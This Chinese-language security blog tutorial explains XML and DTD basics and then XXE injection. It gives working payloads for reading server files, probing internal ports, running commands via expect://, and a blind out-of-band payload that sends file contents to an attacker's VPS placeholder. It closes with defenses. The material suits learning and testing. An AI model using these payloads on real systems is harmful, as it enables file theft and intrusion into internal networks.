XML外部实体注入漏洞(XXE)


一、XML和JSON数据格式

1.1 简介

XML和JSON都是web存储和传输过程中数据的格式,其中JSON 使用比较广泛,主要用来前后端交互数据。

1.2 XML

1.2.1 XML简介

XML(Extensible Markup Language)扩展标记语言 ,是一种常用的标记语言,用于标记电子文件使其具有结构性,可以用来标记数据、定义数据类型,是一种允许用户对自己的标记语言进行定义的源语言。 XML使用 DTD(document type definition)文档类型定义来组织数据;格式统一,跨平台和语言,早已成为业界公认的标准。XML是标准通用标记语言 (SGML) 的子集,非常适合 Web 传输。XML 提供统一的方法来描述和交换独立于应用程序或供应商的结构化数据。

例子:

1.2.2 XML文档的构建模块

1)元素

元素是 XML 以及 HTML 文档的主要构建模块,元素可包含【文本、其他元素或者是空的】。

空的 HTML 元素的例子是 <hr><br> 以及 <img>

2)属性

属性可提供有关元素的额外信息:

3)实体

实体是用来定义普通文本的变量

实体引用是对实体的引用。

4)PCDATA

PCDATA 的意思是被解析的字符数据(parsed character data)。PCDATA 是会被解析器解析的文本。这些文本将被解析器检查实体以及标记。

当某个 XML 元素被解析时,其标签之间的文本也会被解析:

解析器之所以这么做是因为 XML 元素可包含其他元素,就像这个例子中,其中的 <name>元素包含着另外的两个元素(first 和 last):

5)CDATA

CDATA 的意思是字符数据(character data),CDATA 是不会被解析器解析的文本。

术语 CDATA 指的是不应由 XML 解析器进行解析的文本数据(Unparsed Character Data)。

在 XML 元素中,”<” 和 “&” 是非法的。”<” 会产生错误,因为解析器会把该字符解释为新元素的开始。”&” 也会产生错误,因为解析器会把该字符解释为字符实体的开始。某些文本,比如 JavaScript 代码,包含大量 “<” 或 “&” 字符。为了避免错误,可以将脚本代码定义为 CDATA。CDATA 部分中的所有内容都会被解析器忽略。

CDATA 部分由 <![CDATA[ 开始,由 ]]> 结束:

在上面的例子中,解析器会忽略 CDATA 部分中的所有内容。

⚠️:CDATA 部分不能包含字符串 ]]>。也不允许嵌套的 CDATA 部分。标记 CDATA 部分结尾的 ]]> 不能包含空格或折行。

1.2.3 DTD(文档类型定义)

作用:DTD(文档类型定义)的作用是定义 XML 文档的合法构建模块。DTD 可以在 XML 文档内声明,也可以外部引用。

分类:

  • 内部声明
<!DOCTYPE   根元素   [元素声明]  >
  • 外部声明( 引用外部DTD )
<!DOCTYPE 根元素 SYSTEM "文件名">

1.2.4 DTD实体

1)作用

DTD实体是用于定义引用普通文本或特殊字符的快捷方式的变量,可分为内部实体和外部实体。

2)分类

  • 内部实体
<!ENTITY  实体名  实体的值 >

(1)一般实体:

一般实体的声明语法:<!ENTITY 实体名 "实体内容">

引用实体的方式:&实体名;

(2)参数实体:

参数实体的声明格式: <!ENTITY % 实体名 "实体内容">

引用实体的方式:%实体名;

参数实体还能嵌套定义,但需要注意的是,内层的定义的参数实体% 需要进行HTML转义,否则会出现解析错误。

  • 外部实体
<!ENTITY  实体名  SYSTEM   url  >

也分为一般实体和参数实体。

例子

1.3 JSON

本站《轻量级的数据交换格式JSON》https://sxksec.cn/2022/01/09/qian-hou-duan-kai-fa/qing-liang-ji-de-shu-ju-jiao-huan-ge-shi-json/ 一文也有相关介绍。

1.3.1 简介

JSON全称JavaScaript对象表示法(JavaScript Object Notation),是存储和交换文本信息的语法。具有文本量更小、更快和更易解析的特点。Json和HTML不一样,HTML主要用于显示数据,JSON主要用于传递数据,所以一般作为数据的查询接口。

在 JS 语言中,一切都是对象。因此,任何支持的类型都可以通过 JSON 来表示,例如字符串、数字、对象、数组等。对象和数组是比较特殊且常用的两种类型。

1.3.2 表示格式

  • 对象表示为键值对
  • 数据由逗号分隔
  • 花括号保存对象
  • 方括号保存数组

1.3.3 JSON键值对表

1.3.4 JSON数组

1.3.5 使用python解析JSON数据

load()和dump()方法。

XML和JSON的区别

1.4 XML和JSON的区别

1.4.1 XML的优缺点

XML的优点:

  • 格式统一,符合标准;

  • 容易与其他系统进行远程交互,数据共享比较方便。

XML的缺点:

  • XML文件庞大,文件格式复杂,传输占带宽;

  • 服务器端和客户端都需要花费大量代码来解析XML,导致服务器端和客户端代码变得异常复杂且不易维护;

  • 客户端不同浏览器之间解析XML的方式不一致,需要重复编写很多代码;

  • 服务器端和客户端解析XML花费较多的资源和时间。

1.4.2 JSON的优缺点

JSON的优点:

  • 数据格式比较简单,易于读写,格式都是压缩的,占用带宽小;
  • 易于解析,客户端JavaScript可以简单的通过eval()进行JSON数据的读取;
  • 支持多种语言,包括ActionScript, C, C#, ColdFusion, Java, JavaScript, Perl, PHP, Python, Ruby等服务器端语言,便于服务器端的解析;
  • 在PHP世界,已经有PHP-JSON和JSON-PHP出现了,偏于PHP序列化后的程序直接调用,PHP服务器端的对象、数组等能直接生成JSON格式,便于客户端的访问提取;
  • 因为JSON格式能直接为服务器端代码使用,大大简化了服务器端和客户端的代码开发量,且完成任务不变,并且易于维护。

JSON的缺点:

  • 没有XML格式这么推广的深入人心和喜用广泛,没有XML通用性强。

二、XXE漏洞概述

XML 外部实体注入(也称为 XXE)是一个 Web 安全漏洞,允许攻击者干扰应用程序对 XML 数据的处理。它通常允许攻击者查看应用程序服务器文件系统上的文件,并与应用程序本身可以访问的任何后端或外部系统进行交互【转化为SSRF】。

三、漏洞成因

XXE(XML External Entity Injection)也就是XML外部实体注入,XXE漏洞发生在应用程序解析XML输入时,XML文件的解析依赖libxml 库,而【 libxml2.9 】以前的版本【默认支持并开启了对外部实体的引用】,服务端解析用户提交的XML文件时,未对XML文件引用的外部实体(含外部一般实体和外部参数实体)做合适的处理,并且实体的URL支持 file:// 和 ftp:// 等协议,导致可加载恶意外部文件和代码,造成【任意文件读取、命令执行、内网端口扫描、攻击内网网站、发起Dos攻击】等危害。XXE漏洞触发的点往往是可以上传xml文件的位置,没有对上传的xml文件进行过滤,导致可上传恶意xml文件。

当应用是通过【用户上传的XML文件或POST请求进行数据的传输】,并且应用【没有禁止XML引用外部实体】,也【没有过滤用户提交的XML数据】,那么就会产生XML外部实体注入漏洞,即XXE漏洞。

四、漏洞危害

  • 发起DOS攻击
  • 任意文件读取
  • 命令执行
  • 内网端口扫描
  • 内网渗透

五、漏洞利用

5.1 如何构建外部实体注入

5.1.1 直接通过DTD外部实体声明

5.1.2 一般外部实体

通过DTD外部实体声明引入外部DTD文档,再引入外部实体声明:

5.1.3 参数外部实体

5.2 支持的协议

其中php支持的协议会更多一些,但需要一定的扩展支持:

对于 PHP:

file:可用 file://文件地址,来读取文件
http:可以访问 HTTP(S) 网址
FTP:访问 FTP
PHP:访问各个输入/输出流
zlib:压缩流
data:数据
glob:查找匹配的文件格式路径
expect:处理交互式的流,可用来执行命令,但需要先安装相应插件

5.3 读取敏感数据

5.3.1 读取文件时有特殊符号

在读取文件时,文件中包含<,>,&等这些特殊符号时,会被xml解析器解析,报错从而导致读取失败。

我们的思路就是把读取的文件放在CDATA中之后再调用:

EX:读取文件有特殊符号时的处理

例如尝试读取以下文件C:\test.txt的内容:

payload:

报错:

放在CDATA中之后再调用:

但是还是读不出来。

在xml中,xml 解析器有个限制:不能在内部 Entity 中引用,“PEReferences forbidden in internal subset in Entity ”指的就是禁止内部参数实体引用。

正确的payload:

5.3.2 无回显xxe漏洞利用

在没有回显的时候,我们将读取的文件带出来。将文件赋给实体后带着访问我们的vps然后在日志文件中就能看到我们读取的文件了。

OOB(Out-Of-Band):我们可以使用 Blind XXE 漏洞来构建一条外带数据OOB(Out-Of-Band)通道来读取数据。

错误获取数据:通过构造dtd然后从错误中获取数据。

  • 通过OOB进行目录浏览和任意文件读取:

注:Linux机器可以目录浏览和任意文件读取,Windows机器只能任意文件读取。

动机:Blind XXE是由于虽然目标服务器加载了XML数据,但是不回显读取的数据。那么,我们是否可以想其他的办法,将服务器读取的数据传送给我们的VPS呢?

VPS的操作:

首先,在我们的VPS上搭建一个http服务,然后创建一个xml.dtd文件,内容如下

然后在VPS上用python在2121端口起另一个http服务:

POST提交的数据:

<?xml version="1.0"?>
<!DOCTYPE message [
    <!ENTITY % remote SYSTEM "http://VPS的http服务/xml.dtd">  
    <!ENTITY % file SYSTEM "php://filter/read=convert.base64-encode/resource=file:///C:/Users/mi/Desktop/1.txt">
    %remote;
    %send;
]>

如果读取的文件数据有空格的话,这样的读不出来的,所以我们可以用base64编码。

效果:

如果目标是JAVA环境的话,建议采用FTP协议。

EX:无回显xxe漏洞利用

将/etc/passwd文件赋给实体test,在访问http://www.aaaaahui.com/?%test时,我们服务器上的日志文件就会保存/etc/passwd的文件内容。

payload:

#x25\;是%的html实体编码,因为在xml.dtd的实体中不能有%

效果:

5.3.3 任意文件读取

以下是一个简单的XML代码POST请求示例,上述代码将交由服务器的XML处理器解析。代码被解释并有回显数据。

这里我们引用外部DTD实体,并且将 email 的值修改为引用外部实体的值 &file; 因为,返回包会返回email的值,所以返回包会读取我们引用的 /etc/passwd 的值返回给我们,造成了任意文件读取。

5.3.4 端口扫描

原理:使用 http URI 并强制服务器向我们指定的端点和端口发送GET请求,将 XXE 转换为SSRF(服务器端请求伪造)

以下代码将尝试与端口通信,根据响应时间/长度,攻击者将可以判断该端口是否已被开启。

探测本地81端口是否开放,如果不开放,则响应时间比较久:

探测本地80端口,开放,响应时间很快速:

5.3.5 远程代码执行RCE

原理:

由于配置不当/开发内部应用导致的。

⚠️: 这种情况很少发生,但有些情况下攻击者能够通过XXE执行代码

例子:PHP expect模块被加载到了易受攻击的系统或处理XML的内部应用程序上

利用手段小结

  • 读取 txt 格式的文件(file 协议)
<?xml version="1.0" encoding="utf-8"?>
<!DOCTYPE a [
    <!ENTITY test SYSTEM "file:///var/www/html/test.txt">
]>
<c>&test;</c>
  • 读取 PHP 格式的文件(使用 PHP 协议)

因为 PHP 中有 <?php ?>,当 XML 解析时,遇到 <? 这类的符号时,会将 PHP 当做 XML 去解析,所以会报错,故需要将其进行 base64 编码读出。

<?xml version="1.0" encoding="utf-8"?>
<!DOCTYPE a[
    <!ENTITY test SYSTEM "php://filter/read=convert.base64-encode/resource=index.php">
]>
<c>&test</c>
  • 探测端口是否开启(HTTP 协议)
<?xml version="1.0" encoding="utf-8"?>
<!DOCTYPE a[
    <!ENTITY test SYSTEM "http://127.0.0.1:3306">
]>
<c>&test</c>
  • 执行命令(expect 协议)

若想执行协议,则需要目标主机上【安装了 expect 插件,并且做了相关配置】。条件较苛刻,所以比较少见。同时还有一点需要注意:所执行的命令不允许含有空格。

<?xml version="1.0" encoding="utf-8"?>
<!DOCTYPE a[
    <!ENTITY test SYSTEM "expect://ls">
]>
<c>&test</c>
  • Blind XXE

若服务器没有回显,那么只能使用 Blind XXE 来构建一条带外数据 (OOB) 通道来读取数据。

<?xml version="1.0"  encoding="UTF-8"?>
<!DOCTYPE ANY[
<!ENTITY % file SYSTEM "file///filename">
<!ENTITY % remote SYSTEM "http://ip/test.xml">
%remote;
%send;
]>
数据服务器上xml:
<!ENTITY % all
"<!ENTITY %#x25; send SYSTEM "http://ip/test.xml?p=%file;">"
>
%all;

先调用%remote,调用后访问远程服务器上的xml,然后服务器上的xml中的%all被赋予了下一行的值,第二行中的%send值后面的外部参数体声明将SYSTEM后面的内容赋给了%send,也就是传入实体%file访问远程服务器。

六、XXE漏洞的挖掘

通过手工篡改网站中xml实体中的头部,加入相关的读取文件或者是链接,或者是命令执行等,看看能否显示出来。如

file:///$path/file.txt;
http://url/file.txt;

七、XXE的防御

方案一:使用开发语言提供的禁用外部实体的方法(XML解析库在调用时严格禁止对外部实体的解析)

方案二:过滤用户提交的XML数据

关键词:<!DOCTYPE  和  <!ENTITY  或者  SYSTEM 和 PUBLIC。

总结

XXE漏洞是一种安全漏洞,它允许攻击者在处理XML数据的应用程序中注入外部实体引用。这种漏洞可以导致敏感数据泄露、服务器端请求伪造(SSRF)、拒绝服务攻击(DoS)等安全问题,因为它可能允许攻击者读取服务器上的文件、与远程服务器交互或消耗服务器资源。XXE漏洞通常出现在使用XML解析库的应用程序中,当这些库没有正确配置以禁用外部实体解析时。为了防止XXE攻击,开发者需要确保禁用外部实体的解析,并对输入进行严格的验证和清理。


文章作者: 司晓凯
版权声明: 本博客所有文章除特別声明外,均采用 CC BY 4.0 许可协议。转载请注明来源 司晓凯 !
  目录